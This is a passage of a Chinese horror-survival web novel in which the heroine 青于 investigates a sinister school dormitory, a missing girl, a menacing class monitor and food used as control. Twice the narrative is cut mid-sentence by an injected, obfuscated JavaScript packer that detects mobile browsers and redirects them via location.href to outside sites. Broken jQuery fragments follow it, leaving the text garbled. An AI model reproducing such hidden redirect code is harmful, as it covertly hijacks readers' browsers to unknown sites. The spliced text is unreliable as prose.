“在看什么?”程叶突然发问,然后缓缓逼近。青于的后背抵在洗手台冰凉的瓷砖上,退无可退。 程叶越来越近,青于往后仰着头,握着手电筒的手不安地晃动着,就在这时,青于发现程叶的头发是湿的,但是在他耳后有几缕头发还是干的,好像没有洗到,那些头发被血渍黏成一缕一缕的,在苍白的皮肤上显得格外刺目。 不仅如此,他身上有一股潮气,像是刚刚洗过澡。 为什么?为什么要洗澡?因为,杀人了吗? 青于被自己的猜测吓得呼吸一滞,她快速地眨着眼,焦急地寻找着破局之法,终于,她想到了什么,“班长,你嘴唇有点白,是不是身体不舒服?” 程叶愣了一下,抿着唇没说话。 青于将手伸进口袋里,顺势从仓库里取出一块巧克力,试探着递了过去,强撑着扯出一张笑脸,开口说话的声音微微有些颤抖,“我这儿还有一块巧克力,给你吃吧。身体不舒服的时候,吃点甜的会好点。” 沉默了许久,程叶才伸手接过那块巧克力。 他的指尖冰凉,触碰到青于的手时像是冰块一样,又冷又湿。 程叶将巧克力放进嘴里慢慢咀嚼,脸上的笑意更深了。 青于松了一口气,小声问道:“班长,我从小就有起夜的习惯,所以每天晚上都要上厕所,是不是会吵到你们休息?” 程叶嚼着巧克力,目光微闪,低声道:“不吵,只要按时回去就行。但是你记住,只能在这一层楼活动,天黑之后不能去别的楼层,千万不可以。” 青于点头,她强迫自己露出一个感激的笑容,真诚地说:“谢谢班长提醒,我记住了。” 程叶缓缓后退了一步,然后侧过身示意青于离开。 青于看着他一步一步往后退,退到门口时才打算转身,就在她转身之时,程叶忽然说了一句:“巧克力很甜。” 青于僵了一下,没敢回头,喉咙发紧地应了一声。 凌乱的脚步声在空荡的走廊里回响,青于越走越快,一鼓作气地冲进宿舍后立刻反手锁门,背靠着门板大口喘息。 “咚咚咚” 宿舍门被敲响,声音不重,程叶的声音在门外响起,“下次记得戴校牌。” “谢谢班长。” 青于靠在门上,指尖发麻,她的校牌在韩喜乐的桌洞里,而且是白天那张桌子的桌洞里,她只有明天白天才能拿到。 程叶的脚步声终于渐渐远去,走廊重归寂静。 青于缓缓滑坐在地,掌心紧贴着冰冷的地面,试图平复剧烈的心跳。既然程叶特地提醒,那说明校牌非常重要,会不会有一种可能,就是只有戴着校牌才能看到正常的学校,一旦不戴校牌,就会看到那些诡异的景象。 他们在办公室的时候朱芸说过,只有那间办公室才是唯一的安全区,所以,这间宿舍…… 夜还很长,青于后知后觉地发现自己好像做了一个不太明智的决定。 不过,现在后悔也来不及了。而且这些都是经验,朱芸他们的经验未必适合自己,要怎么活着走出这所学校,她只能一点一点地摸索,寻找最适合自己的方法和生存法则。 截至现在,她得到了好几条线索。 第一条是夜里只能在自己居住的楼层活动,不得擅自前往其他区域;第二条是校牌有着至关重要的作用,一定要随时佩戴;第三条是夜晚的程叶是个很复杂的人,既不能完全信任,也不是彻底的敌对。 他给的提示或真或假,却是青于目前唯一能获取信息的来源。 15.平江三中(6) 漫长的夜过了多久?青于不知道。 这间宿舍里已经找不出别的线索了,她坐在粉红色的塑料凳子上发呆,仔细回想自己得到的所有信息,看到的、听到的、感受到的。 突然,她猛地转头看向那两张床铺。她发现哪里不对劲了。 这个宿舍里太空了,除了床铺之外只有一只装着脏水的铁皮桶,根本没有生活过的痕迹。 如果是正常的居住场所,至少要有洗漱用品,脸盆、毛巾、牙刷之类的,还得有一些换洗衣物和鞋子,但是这里什么都没有。 空荡荡的两张床,不像日常居住的宿舍,更像是偶尔用于囚禁的地方。但是又贴着姓名标签,总不可能在这个学校里小黑屋都是专人的吧。 她再次站起来,走到两张床铺旁边仔细寻找,依旧是一无所获。 干净得很诡异,两个女孩儿的床位,枕头旁边连一根头发丝都没有,这很不正常。 青于突然想到了韩喜乐床底下的血迹,她当时就有猜测,在那些血迹出现的时候,上方是没有床的,但是这间屋子里找不到床位原本应该放置的位置。 如果床长时间放在同一个位置,那地板和墙壁都会有明显的痕迹,但这间宿舍里没有,就好像这两张床是从别的地方搬来的一样,很突兀地让这个空间成了两个女孩儿的宿舍。 青于跪坐在韩喜乐的床上,开始拆她的枕头,枕套取下后,是干净又蓬松的枕芯。她又重复着拆下了徐念雨的枕头,同样的,枕芯干干净净,也没有被压瘪的痕迹。 她们并不住在这里,但是桶里的头发应该泡了很久,所以到底是怎么回事? 青于坐在徐念雨的床位上思考,突然发现对面韩喜乐床铺上的那只小熊有点奇怪。它的眼睛里有小小的光点,看起来像眸光,有些渗人。 她用杀猪刀割开小熊的后背,从塞得紧紧的棉花里取出一个U盘,又割开小熊的眼睛后面缝制的线,在黑色的塑料瞳孔里发现了两个微型摄像头。 这个摄像头是别人放在这儿的,还是韩喜乐自己准备的? “咚咚咚……” 敲门声又响了,青于抖了一下,手中的摄像头落在床单上,她连忙将其捡起来,连带着那个被割开的小熊一起塞进书包里,然后整个人极其迅速地钻进韩喜乐的被窝里开始装睡。 这个突然出现的人大概率不是程叶,因为程叶的脚步声她已经记住了,是规律而沉闷的。但是这个人走路很轻,在这么安静的环境中她竟然没有听到脚步声。 她也有自己的本领,她很擅长记忆声音类,不同人的脚步声,说话声,还有说话时的小习惯,比如谁说着说着会突然咽口水,谁会不定时清清嗓子,她总是对和声音有关的小细节记忆深刻。 握着刀的手藏在被子下,她听到门把手被慢慢往下压的声音,生锈的锁芯有些发涩,那声音在寂静的夜里依旧刺耳。 门把手被压到了底,锁舌发出轻微的“咔嗒”声。 但是,门没有被推开。 青于全身的肌肉都绷紧了,此刻,她觉得自己的心跳声响彻整个校园,太吵了,真的太吵了。杀猪刀冰冷的刀身隔着校服裤子紧贴着大腿外侧,那份金属的寒意成了此刻唯一的真实感,让她勉强保持清醒。 宿舍内一片死寂,外面的走廊同样安静。 没有脚步声离开,也没有任何其他的动静,仿佛刚才那声开锁的轻响只是她的错觉,或者,门外的东西正安静地站在那里,隔着薄薄的门板,无声窥探。 心脏在胸腔里疯狂跳动,拼命撞击着肋骨,好像胸前那层并不厚实的皮肉都被顶起来了,那强烈的节奏让她担心这声音会穿透被褥和门板,强行逃出这间宿舍,惊扰外面那个未知的存在。 她拼命控制着呼吸的节奏,让它变得绵长又微弱,就像是睡着了一样。身上还在出汗,冷汗浸湿了后背,很凉。 时间在令人窒息的寂静中缓慢爬过,像一只巨大的蜘蛛,无声潜行,毛茸茸的足部拂过青于的皮肤,腿节、膝节、胫节、后跗节、跗节、爪,依次接触又离开,每一秒钟都变得无比煎熬。 突然,门的方向传来了一阵细微的响动,是一种金属刮蹭木门的声音。那声音贴着地面传来,越来越近,越来越近,直到停在了床边。 青于感觉自己的神经已经绷到极限了,她快忍不住了,牙齿死死咬住下唇内侧,痛感变得迟钝,有血腥味在口腔里弥漫。 声音再次消失后,出现了一阵令人毛骨悚然的寂静,随后,一种新的声音响起。 是呼吸声。 沉重、悠长、带着黏稠潮湿感的呼吸声出现在她的耳边,打在耳后薄弱的皮肤上,激起一身的鸡皮疙瘩。那呼吸潮潮的,青于感觉耳后有些湿了,冰凉的液体顺着她的皮肤往下滑,很痒。 被窝里仅存的一点暖意瞬间消失殆尽,只剩下潮湿的冰冷和未知的恐惧。 那沉重的呼吸声还在持续,一下又一下,将耳后的皮肤打得发麻。 “轰隆——轰隆——”两道惊雷猛地炸响,突如其来的轰鸣声让床板都在震颤,青于被吓了一跳,差点没忍住坐了起来。 雷声是一种危险的信号,她从小就害怕,妈妈在的时候会温柔地抱着她,妈妈离开后,她就得克制着自己的害怕,让自己变得更有用。 电闪雷鸣后往往会接着暴雨,而他们居住的黄泥老屋年代久远,房顶的瓦片放置得不够紧凑,经常漏雨。他们的房子地势也比较低,屋后有一条用来引水的水沟,一到暴雨天,那条水沟流量暴涨,会不断冲刷着房子,她要和家里人一起扛着锄头去挖沟。 青于讨厌暴雨天,讨厌雷鸣在头顶震颤,密集的雨点砸在身上,自己只能穿着大伯的摩托车雨衣在雨里挖沟,明明眼前的一切都被雨幕遮掩了,偏偏那锄头还是能熟练地落在合适的地方,仿佛她天生就该扛着锄头扩宽这条水沟。 双脚深深地陷进泥里,拔也拔不出来,就像她的人生一样,被埋在名为无知的稀泥里,困在穷乡僻壤的村子里稀里糊涂地过完此生。 所以每到暴雨天,她的脾气总是格外暴躁。邻居家的狗跑来吃了自家的狗饭,她都要拎着棍子将那狗撵得夹着尾巴“呜呜”求饶。 青于不太能控制自己那种烦躁又暴戾的脾气,所以她希望不要下雨。 可她的期望落空了,外面开始下雨,急促的暴雨声势浩大,足以遮掩耳边的呼吸声和自己急促的心跳声。 宿舍没有窗户,但是她感觉到了冷意,正是暴雨中潮湿的水汽,落在皮肤上凉凉的。 暴躁的情绪开始蔓延,她的恐惧被压了下去,取而代之的是一种不耐烦。 “下雨了……”耳边出现了一道女孩儿的声音,有点像徐念雨的声音,但是她压低了声音用气声说话,所以不太能确定是不是徐念雨。 隔了几秒钟,她再次开口说话:“你想上厕所吗?我陪你去。” 青于沉默不语,不敢在这样的夜里答应一个未知生物的邀请。 程叶再三提醒她早点睡,或许就是因为夜里会有怪物出现,那么,是不是只要睡着了就不会发现怪物? 耳边的呼吸声消失了,一连串拖沓的脚步声从宿舍里往外走,在走廊里响了一会儿就彻底没了声音。 那怪物好像走远了。 “叮” 转瞬即逝的声音,像是有什么东西落在地上了。听起来像是比较小的金属,声音很清脆…… 钥匙! 青于顾不得那么多了,她猛地睁开眼睛,在睁眼的一瞬间从床上坐起来,立刻打开手电筒扫过地面,试图寻找那片落在地上的钥匙。 在这样的寻找中,手电筒的光照到了门,她看到了那个东西。 在门缝底下,一道狭长又扭曲的黑 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“我做了个噩梦,所以想出去透透气,宿舍里没有窗户,太闷了。”青于勉强挤出一个解释,目光却不受控制地流连在徐念雨的肩膀处,薄薄的校服被雨水浸透后几乎透明,甚至能看清她身上的伤痕。 大面积的淤青、破了皮的红色擦伤、结痂的伤口,还有愈合后凸起的红色增生。她身上有很多伤,新新旧旧的,新伤叠着旧伤,那伤疤也层层叠叠的。 徐念雨静静地站在门口,黑白分明的眼睛在昏暗的光线下显得有些阴森,她缓缓勾唇扯出一个笑容,轻声说道:“下雨天,确实容易做噩梦。”随后,她的目光却越过青于的肩膀,看向宿舍里面,再次开口:“你的被子怎么掉地上了?” “我惊醒的时候太害怕,不小心踹下去的。”她飞快地解释着,眼睛紧紧盯着徐念雨,只要她出现一点不对劲,手中的刀就会开始攻击,只是青于也不确定自己的刀能不能对她起效。 徐念雨的目光在青于脸上停留了几秒,就在青于以为谎言要被戳穿时,徐念雨的视线猝不及防地移开了。 “哦,”她淡淡地应了一声,声音听不出情绪,“那记得捡起来。” 她侧身挤开青于进入宿舍,一边擦头发一边说:“快点换校服,马上集合铃就响了。” 青于:“校服?” 徐念雨:“找不到了就去水房看看,是不是晾在那儿忘了收。” 她一边说着,一边弯腰用毛巾击打湿漉漉的短发,就是这个弯腰的姿势,校服领口往下垂了一些,青于看见了徐念雨脖颈上的伤痕。那是一道呈环状的深紫色勒痕,勒痕上有好几块严重的擦伤,红色的创面覆盖着一层黄色的组织液。 应该是被人从身后用绳子狠狠勒住后留下的痕迹,在这个过程中她剧烈地挣扎着,所以才会出现那么严重的擦伤。 青于匆匆看了一眼就连忙收回眼神,迈着急促的步子朝水房走去。 或许是因为天快亮了,所以水房里不再伸手不见五指,反倒有了些昏暗的光线,也不知从哪里照进来的。在水房的正中间悬挂着一根手指粗的晾衣绳,上面紧凑地挂着很多校服和校裤。 这晾衣绳昨晚没有,是今早才出现的,随着徐念雨一起出现。 她的目光左右搜寻着,很快锁定了一套校服,那套衣服的尺码标签上用蓝色的记号笔写着“喜乐”两个字,是韩喜乐的校服。因为王老师只给了她校牌,并没有给她提供校服,所以她只能先穿韩喜乐的。 韩喜乐的消失是既定事实,青于想从她的经历开始查起。 究竟是死亡还是离开,总会有个过程。而在这个过程中,她的舍友徐念雨,她的男朋友程叶,她的班主任王老师都会被串联起来,关于这所学校的真相,就藏在他们错综复杂的关系里。 等找到了学校的秘密,应该就能出去了。 16.平江三中(7) 青于踮起脚尖,小心翼翼地取下那套属于韩喜乐的校服。 校服入手冰凉,内侧潮乎乎的,有些不太明显的黏稠触感,像是梅雨季里晾了很久都没干的衣服,除了这些,还有味道,刺鼻的消毒水气味混合着捂久了的馊臭味,让青于在深深嗅了一下后直接打了两个喷嚏。 昏暗的光线下,校服的外观看起来并无异常,就是普通的劣质涤纶面料,洗得发白,袖口和领口有些磨损。她翻转着检查,想看看有没有什么夹层,或许会像那只小熊一样,藏着什么信息也说不定。 但是正面和背面看不出什么异常,就是一件普通的校服。她将衣服翻到内侧,手指细细摩挲那些缝合线,粗制滥造的校服缝合线很乱,而且极为松散,有不少暴露在外的线头。 还出现了不同颜色的丝线和缝合痕迹,像是穿坏了之后自己修补的。 青于仔细观察那些缝合线,试图从中找到一点线索。 就在这时,她眼角的余光扫过水房入口处,发现那里有一个人影静静地站着。黑色的影子往前伸着,影子的顶端距离自己只有一步之遥。 是徐念雨。 不知道她是什么时候跟过来的,站在水房门口,半边身子隐没在黑暗里,沉默地盯着青于看。她没有发出任何动静,只是静静地望着青于,或者更准确地说,是望着青于手中那件属于韩喜乐的校服。 那眼神奇怪极了,没有聚焦点,涣散的眼神空洞洞的,像是在看,又像是在感受。 青于握着校服的手下意识地收紧,空荡荡的水房里,滴水的声音和她的呼吸声交错着,她没听到属于徐念雨的呼吸声。 时间在诡异的僵持中缓慢流逝,徐念雨一动不动,像一尊雕塑。 青于强迫自己镇定下来,动作尽量自然地取下书包放在洗手台上,然后脱下外套,只剩下最里面的短袖,最后她撑开韩喜乐的校服,从头上往下套,在视野被遮住时,她感觉自己面前出现了一道巨大的黑影和冰凉的水汽,她将校服快速拉下,视野恢复,面前空无一物,只有不远处的徐念雨依旧在那儿站着。 随后就是校裤,依旧叠穿在自己的裤子外,还好她买的衣服是运动服的款式,柔软轻便,就算在外面又套上一层也不会影响行动。 将外套塞进书包里,她背上书包拿着刀,没话找话地对着徐念雨说:“集合铃还没响吗?” 徐念雨依旧那样呆站着,没有开口说话,也没有任何动作。 就在青于准备硬着头皮走出水房时,徐念雨她动了。她没有任何预兆地转身,湿漉漉的短发甩出一个黑色的弧度,随后悄无声息地融入了走廊的黑暗里,脚步声被突然变大声的暴雨彻底吞没。 在她的身后,留下了一串脚印,是暗色的。 在昏暗的光线下,像是水迹,也像是血迹。 青于快步走过去查看,等她到了脚印的位置旁边,地上的痕迹便消失了,像是故意不让她看清楚一样。她小跑着追到宿舍门口,徐念雨已经不在了。 宿舍里,她扔在地上的被子还保持着原样。她刚才逃跑时明明从被子上踩了过去,但是却没有脚印,依旧是一床干干净净的被子。青于犹豫了一下,没有走进宿舍,就那么站在门口等着。 她在等集合铃。 眼前的一切好像都是不真实的,无论是被子还是神出鬼没的徐念雨,每一样都像是幻觉。那什么是真实的?会是徐念雨口中的集合铃吗? 徐念雨说集合铃快响了,但时间的流速在极度的紧张和恐惧中变得模糊不清,她甚至感受不到“时间”的存在,好像在这栋宿舍楼里,“时间”只是一个空泛的概念,需要它出现的时候它才会出现。 也许快了,也许永远不会响。这所学校的时间规则,似乎不被常理控制。 她再次低头审视自己身上这件属于韩喜乐的校服,她刚才就是在检查校服的时候发现徐念雨的。徐念雨的出现像是一个标志,一个代表着时间在流逝,空间内的景物并非一成不变的标志。 就像她从筛选副本中学到的规则一样,时间坐标。 如果真的是时间坐标的话,那她现在是在创造坐标,还是在回溯坐标? 这些坐标是由青于创造的,还是青于正在回溯,经历别人创造出来的坐标。她更趋向于后者,因为她创造过时间坐标,所以她知道那是一个很详细的过程,而现在经历的这一切太模糊了,很多转折都太生硬,像是强行读取时间坐标,根本不需要考虑因果关系。 这样一来,很多诡异的点就清楚了。那现在需要考虑的问题就是,在这个读取时间坐标的过程中,故事里的人会不会对自己造成伤害。 还有一点就是,自己读取的是谁创造的时间坐标? 会是韩喜乐吗?那个消失的女孩儿? 青于抬起手臂,将袖子翻转,捏住袖口内侧的缝合线仔细查看。粗糙的针脚歪歪扭扭,线头很杂乱,收尾的部分乱七八糟地缠了好几圈,绕出一个复杂的线疙瘩。就在她试图用手指捻开一处线结时,指尖触碰到了一小块硬物,藏在袖口边缘处折起的两层布料中间,非常小的硬物,如果不仔细摸很容易遗漏。 她迅速环顾四周,确认走廊空无一人后,才小心翼翼地用指甲抠住那块硬物的边缘,试图将它从线缝里弄出来。那东西很小,薄薄的,坚硬又带着韧性,像是一小片塑料。 就在她全神贯注的时刻,集合铃响起。 “铛——铛——铛——”震耳欲聋的集合铃在耳边毫无预兆地响起,铃声尖锐又急促,穿透力极强,瞬间盖过了窗外的暴雨声。 青于被惊得浑身一颤,指尖一滑,那刚抠出一点边缘的硬物又缩回了深处,她连是什么东西都没有看清楚。 整栋宿舍楼都被这突如其来的巨大噪音惊醒了,寂静的气氛被嘈杂的铃声粗暴撕裂,这栋宿舍楼活了过来。 走廊两侧的宿舍门接连打开,一个个穿着同样蓝白校服的学生面无表情地走出来,齐刷刷的短发从青于面前出现又消失,她这才发现,这些女孩儿不仅发型一样,连头发的长度都不差分毫。 她们的动作整齐划一,低着头,脚步拖沓,迅速出现在走廊中央,然后无声地排列成两队,朝着楼梯口的方向走去。 没有人说话,也没有人抬头张望,只有无数双脚踩在地面发出的脚步声,那些沉重的脚步声混合着刺耳的铃声,变成一种令人头皮发麻的诡异动静。 青于被拥挤的人潮夹着往前走,不能后退也不能停下,她凌乱的步伐没有那些女学生整齐,所以时不时就会踩到前面的人,踩到别人的鞋子后帮,那些人也不在意,继续拖沓着步子往前走。 她们像是沉默的羊群,只会乖顺地往前走。又像是被驯化已久的木偶,拧开发条后只会按照设定好的行为生活。 从二楼下到一楼,女生的队伍就被迫停止了,男生的队伍正在往外走,她们要跟在男生的队伍后面出去。所有学生挤在一楼的空间里,稍稍有些拥挤,青于踮着脚粗略数了一下,所有学生加起来,也才不到五十人。 且男生少,女生多。那些男生也是穿着校服,剪着相似的寸头,裸露在外的皮肤上都有明显的伤痕,但是女生这边没有,至少在裸露出来的皮肤上是没有的。 青于看到了程叶。 他站在宿舍大门旁边,一手拿本子一手拿笔,每个人出去时都要在他面前暂停一下,等他在本子上打勾了才能离开,应该是在清点人数。 人流持续不断地往外走,宿舍楼变成了一个巨大的蜂巢,所有蜜蜂都在铃声的催促下倾巢而出。青于跟随着人流往前走,暴雨的响声和集合铃声在头顶交织,吵得她心烦意乱,情绪也越来越烦躁。 终于轮到她了,她和程叶面对面,程叶愣了一下然后低下头在本子上打了个勾,再次抬起头时看见她还在,就皱着眉说道:“快点走开,别耽误了集合。” 青于应了一声,小声说道:“班长早上好。” 程叶卡了一下,在她走开后才“嗯”了一声。 青于跟着队伍来到操场集合,刚站好队,徐念雨就不知从哪儿冒出来了,突然出现在她身边的位置上,表情神秘地笑了一下,然后亲密地撞了撞她的肩膀,捂着嘴小声说道:“我看见了,你跟程叶打招呼了。你什么意思啊?” 雨下得很大,她们站在雨中,又冷又吵。操场上的学生们纹丝不动,任凭雨水冲刷,没有人抱怨,没有人交谈,甚至没有人抬手挡雨。 徐念雨的声音其实没那么清楚,但是青于听见了,可她并不想回答。她想验证一下,这一切是不是如她的猜想般,只是早已被设定好的时间坐标。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480204|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她扯了扯嘴角没回话,低着头扯了扯黏在皮肤上的衣服。 徐念雨接着说道:“好多人都喜欢程叶,你肯定没戏。程叶每周都能离开学校一天,他可以带着人一起离开,就因为这个,追他的女生很多很多,你这样安静话少的,他肯定不喜欢。” “你听见我说话了吗?别和程叶走太近,会出事的。” 青于点了点头,说了句:“谢谢你。” “不客气,毕竟我们是舍友,互相帮助是应该的。你是新生,刚刚到学校没多久,很多规矩你都不知道,要是有不明白的地方你就问我,我在学校里待了很久,很多事情我都知道。” 徐念雨将手搭在青于的胳膊上,冰凉的触感透过湿透的校服布料直往皮肤里钻,比重重落下的雨水还要冷。青于没敢乱动,对着她笑了一下,不再搭话。 徐念雨没在意青于的疏离,或者说,她此刻的注意力并没有放在青于身上。她依旧紧挨着青于站着,湿漉漉的头发贴在苍白的脸颊上,脸上带着一丝刻意的微笑,像鬼一样阴森森地盯着主席台。 雨水顺着她的发梢、脸颊、下巴依次滴落,和雨点一起砸在青于的手臂上。 所谓的主席台,只是一张从教室里搬出来的桌子,放在教学楼的房檐下。王老师手里拿着一个白色的劣质喇叭,正在对着学生们训话。 青于听不清王老师的声音,雨声太大了。 “念雨,”青于低声开口,声音被雨声吞掉大半,还是传到了徐念雨的耳朵里。她问道:“王老师在说什么?” 徐念雨被她的声音吓了一跳,眼睛胡乱地眨了好几下,涣散的目光微微聚焦,侧过头,嘴唇几乎贴到青于的耳朵上,“他在点名。” 她顿了顿,声音忽然压低,带着一种难以压制的兴奋,“你猜,今天会有谁没带校牌?” 青于的心猛地一跳,她没有戴校牌,那张没有名字的校牌在教室里,在韩喜乐的桌洞里。她迅速扫视周围,昏暗的雨幕中,每个学生的身影都是模糊的,而那些模糊的身影脖子上都挂着一个金属牌子。 “没带校牌会怎么样?”青于追问,声音紧绷。 徐念雨没有立刻回答她,只是发出一声意义不明的轻笑,在她身上扫视一圈后再次将目光投向主席台,恢复了那种阴森的凝视。但是她搭在青于手臂上的手却慢慢收紧,尖锐的指尖几乎要嵌进青于的肉里。 就在这时,喇叭里的声音猛地拔高,随后王老师的声音陡然清晰了一瞬,带着一种不容置疑的严厉:“班长!立刻将缺席人员的名单报给我!” 青于猛地将头转向徐念雨,瞪大了眼睛说:“没戴校牌等于缺席?是不是!” 徐念雨点头,扯着一张笑脸说,“新同学,赌一把吧,看程叶会不会把你报上去。如果他包庇了你,或许你真的能成为他女朋友,在周日的时候跟着他一起离开学校。要知道,好几个女生跟着他出去后再也没回来,也不知道是回家了,还是……” 她又笑了一下,指甲在青于的手臂上一下一下地刮着,再次开口时,声音像是蛊惑,又像是威慑,“如果你成功离开学校,我希望你的结局是回家了。祝你好运吧,新、同、学。” 青于暂时顾不上徐念雨了,因为她看到前面队伍里有一道身影离开了队伍,快步跑向主席台侧方。是程叶,他要去向王老师报告今日缺席人数。 缺席代表着什么,青于尚且不知道,但是从徐念雨的表情可以看出,那绝对不是一件好事。不安伴随着雨点落在她身上,心跳声越来越重,程叶的所有动作都变成了慢动作,她在等着一道判决。 很快,程叶的声音通过喇叭传了出来,平稳、清晰、冷漠,“报告老师,男生班级应到十九人,实到十七人,缺席两人。女生班级应到三十人,实到三十人,无人缺席。” 青于听着,一股寒意从脊椎处升起又蔓延。 无人缺席……为什么女生的班级里会无人缺席?明明韩喜乐已经消失了,而且是在昨天才消失的,为什么今天的报告就变成了无人缺席? “新同学,你好像成功了。” 徐念雨说着,咧开嘴笑了,那双黑黝黝的眼睛里跳跃着疯狂的火焰,诡异的声调在青于耳边响起,她一遍遍地重复着,“你被他盯上了。” 你被他盯上了。 17.平江三中(8) 解散后是早餐时间,所有学生又湿漉漉地钻进食堂里,打饭窗口空荡荡的,没有热汤热菜,也没有工作人员,只有塑料筐里一袋袋装好的早餐。 薄薄的塑料袋里装着一个馒头、一个包子、一盒豆奶。馒头只有掌心那么点,包子是白菜馅儿的,咬开后全是寡淡的白菜片,没有油花也没有盐,只有一股焖煮后的菜味儿,豆奶小小一盒,只有一百毫升,吸一口全是劣质香精的味道。 这就是学生们的早餐,每个人都是一样的。 不仅食物被管控着,连饮用水都是限量的,学校不发,他们就没有。没有饭吃,没有水喝。 他们依次上前领取,一人一袋,领完就走,然后找位置坐下吃饭,要吃完了才能离开食堂。 食堂的墙壁上贴着规章制度,只有一条:吃不完的食物不允许带离食堂。 就那么点东西,还必须一顿吃完,吃不完的还不能攒下来。怪不得这些学生看起来瘦巴巴的,一个个虚得不行,原来是饿出来的。 这些东西不够青于吃,她力气大,干得又都是力气活,不管是下地还是砍柴都没有省力的说法,所以她从小胃口就大,饭量和家里下地的男人一样,每次吃饭都要端着和脸一样大的搪瓷碗吃。 不过他们虽然吃一样的饭,但是待遇却截然不同,好菜好肉是轮不到青于的,那都是要留给家里男人吃的好东西。奶奶会给她盛上满满一碗饭,然后泡点汤,夹些白菜片子青菜叶子,再添点咸菜乳腐的,让她在灶洞前面吃。 她只有一碗饭,吃完了就没了,连一口多余的汤都喝不着。 一般这种时候青于就知道了,饭桌上有好菜了。要么是炖了鸡,要么是炒了肉,不过一般都不需要猜,因为香味会从堂屋传到厨房里,闻一闻就知道是鸡还是鸭,又或是腊肉和鱼。 蒜叶炒腊肉的味道最明显,青于闻了很多次,却一次也没吃上。 偶尔堂哥和她搭话会抱怨今天又得吃腊肉,太咸了他不爱吃。青于就听着咽口水,她想吃腊肉,也不怕咸,可那咸香的腊肉没有一片是落在她碗里的。 顶着大太阳种地的时候会流很多汗,奶奶给他们装的水都是加了盐的,就怕流汗流多了人会倒下,所以他们都不怕咸。整个家里只有堂哥这种读书人,这种从来不下地也不缺肉吃的人才会嫌腊肉咸。 农忙的时候,奶奶最经常做的,就是在青于的饭碗里放一小坨猪油,那是她碗里唯一出现过的油荤。 青于有时候觉得她奶奶也是个看不懂的人,她抠抠搜搜一辈子,不舍得吃不舍得穿,厨房里放粮食的柜子都上了锁,只有她煮饭的时候才能打开。放多少米,放多少油都是她说了算,可她自己偏偏舍不得吃。 炖一只鸡,她往往只给自己添半碗鸡汤,再多的就没有了,肉更是一口不吃。 男人才能吃好的,这句话足以描述她贫瘠的一生。 后来青于结婚前夕,她拉着青于的手说交心话,她说,“人老了就没用了,小的不会听你的,你得把所有东西都守好,粮食和钱都要守好,你是家里分粮食的人,你说的话才有人听。” 那一刻太过讽刺,青于几乎克制不住自己旺盛的愤怒。她奶总是那么不好琢磨,明明从小到大对自己没有一句好话,没给过一口肉吃,现在自己要出嫁了,又做出一副慈爱奶奶的怪模样,难不成觉得自己会感激她不成? 或许是因为从小到大没吃过好东西,所以青于有些护食,而且把食物看得很重。 她始终相信,只要自己吃饱了,有力气,就能做成很多事。 青于在食堂里找了个角落的位置坐下,撕开塑料袋后抓起那冷硬的馒头就塞进嘴里。 馒头很干,她用力咀嚼着,口腔里全是面粉粗糙的颗粒感,没有一点麦香味,嚼碎的馒头黏在嗓子眼儿里,一点也不会往下落,只能越积越多。喝一口甜腻的豆奶往下顺了顺,这才勉强咽了下去。 她一会儿就解决了所有早餐,好在昨天吃了很多东西,所以现在没那么饿,这点东西下肚也就刚刚好。 可那些学生就没那么好运了,他们狼吞虎咽地进食,一边吃一边盯着那个大大的塑料筐,里面还有两三袋早餐,是那些缺席的学生的。 青于突然有些好奇,这些食物会被怎么处理? 这个学校的经营模式和她奶的想法很贴切,都是通过食物来控制人。 你想要吃饱就得听话,不听话就没得饭吃,那就饿着,饿久了就会没力气,也翻不出什么浪来。想要每天都能吃上饭,就得乖乖听话。 青于饿过,所以她明白人在极度饥饿的情况下是没理智的。 当食物成了控制人的手段,生存的必要条件受到威胁,一个人还有余力去顾全伦理和道德吗?在烧心灼肺的饥饿感面前,底线能胜过一个馒头吗? 周围吞咽的声音渐渐小了,但空气却变得更加紧绷,许多贪婪的视线不约而同地看向那些多出来的食物,然后紧紧黏在那几袋食物上舍不得移开。在这一刻,同学的失踪并不重要,能驱散饥饿的食物才是最重要的。 紧绷的气氛并没有酝酿太久,有人急切地打破僵局,成了第一个掠夺者。 那是一个坐在前排,身形格外瘦小的男生,他猛地站起来,将椅子带翻后同手同脚地朝着塑料筐走去,脚步虚浮,表情狰狞。 所有人的动作都停下了,齐刷刷地转过头看向他。 在所有人的凝视中,他离塑料筐仅有一步之遥,这点微小的距离在他眼里不再是阻碍,他跪倒在地,颤抖着伸出手去够那些食物。 “你在干什么?” 毫无起伏的声音突然在食堂门口响起,像一滴水落进滚烫的油锅里,炸出了无数飞溅的油点。换了一身干净校服的程叶打着一把黑伞站在食堂门口,他的头发还是潮的,面无表情的脸上有一种高高在上的优越感。 所有人猛地将头转回来,低着头摆弄着桌上空空如也的塑料袋,手指缠着塑料袋绕来绕去,作出一副不管如何都不会再抬头看热闹的乖顺模样。 那个瘦小的男生颤抖着缩回手,身体如筛糠般抖了起来,脸色惨白如纸,眼里瞬间凝聚了晶莹的眼泪。他张着嘴,却发不出任何声音,只能卑微地蜷缩着,恐惧地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16480205|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着程叶。 程叶收了伞,朝着外面甩了甩,然后站在原地说了一句:“爬过来。” 外面的雨声很大,程叶的声音很小,但男生还是听见了,就好像程叶的声音已经不仅仅是声音了,更是一种命令,所以命令再小,他都必须做出反应。或许他没听见,他只是清楚地知道自己会经历什么,所以才有了后续的动作。 